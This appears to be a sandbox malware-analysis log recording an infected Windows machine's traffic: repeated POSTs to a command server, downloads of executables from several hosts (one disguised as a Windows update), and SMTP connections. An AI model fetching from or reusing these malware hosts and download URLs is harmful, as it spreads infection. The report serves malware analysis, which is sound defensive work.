Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pegqugok.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uhiqru.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jbinuykf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 252Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kybdaip.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 283Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://doynnfulb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nxysak.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jxgxnkpb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 140Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mfkcxcj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://codldamrms.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://niaqngu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 198Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmpbvq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ktpvhvj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 272Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ovfkbfuk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 348Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cgqgnij.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pdjtd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jcppp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fnkfxr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 359Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://crnelkeerw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lyxrabhsyj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 162Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dvrkmsgph.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bdwjscwkyb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://laegissbnw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 314Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pmulpwtk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 152Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vgfuhgdk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 240Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gjmsrnrg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hffekwpew.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nrofkgudk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 240Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ldeax.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 254Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mvdnpk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 217Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uaeudvuct.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 208Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tfmwuwhaf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /l3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bjmmoxjkh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uekxwe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /book/KB5009812.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 74.201.28.62
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ybthjouy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qycehx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 137Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://udwhex.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hriqvkh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rajclxd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rkgofw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cmhrt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rdctx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 307Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hqdkqcs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /l2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cfyeur.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 321Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lwqbhm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 325Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://podwtxiqj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kxheih.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ahptoxawd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ruiwhjpxrd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ukonhqmwew.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qmeixpxj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: host-data-coin-11.com

Source: global traffic	TCP traffic: 192.168.2.4:49803 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.4:49892 -> 86.107.197.138:38133
Source: global traffic	TCP traffic: 192.168.2.4:49955 -> 74.201.28.62:5586

Source: global traffic

TCP traffic: 192.168.2.4:49828 -> 104.47.53.36:25

Source: WerFault.exe, 00000010.00000002.806997904.0000000004960000.00000004.00000001.sdmp, svchost.exe, 00000018.00000002.819352356.000002A079500000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000018.00000002.819053495.000002A078CEE000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000018.00000003.793604569.000002A07957B000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: 3D34.exe, 00000012.00000002.833275323.00000000041F1000.00000004.00000001.sdmp, 3D34.exe, 00000012.00000002.833464312.0000000004361000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 00000018.00000003.793604569.000002A07957B000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000018.00000003.793604569.000002A07957B000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000018.00000003.793604569.000002A07957B000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000018.00000003.794998457.000002A0795CA000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.795071055.000002A0795B3000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.795037619.000002A079592000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.795102955.000002A079A02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.794951368.000002A0795CA000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Code function: 15_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

15_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /l3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: GET /book/KB5009812.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 74.201.28.62
Source: global traffic	HTTP traffic detected: GET /book/KB5009812.png HTTP/1.1Host: 74.201.28.62Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /capibar HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 185.163.204.22
Source: global traffic	HTTP traffic detected: GET //l/f/RGwRWn4BZ2GIX1a3oIgO/6bf5d5b41363c3e6b44705458de7ee6f935456db HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /l2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: GET //l/f/RGwRWn4BZ2GIX1a3oIgO/7e7a36a98c7545dda4f314e30bbcbe9a8ba64652 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f5 1e b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 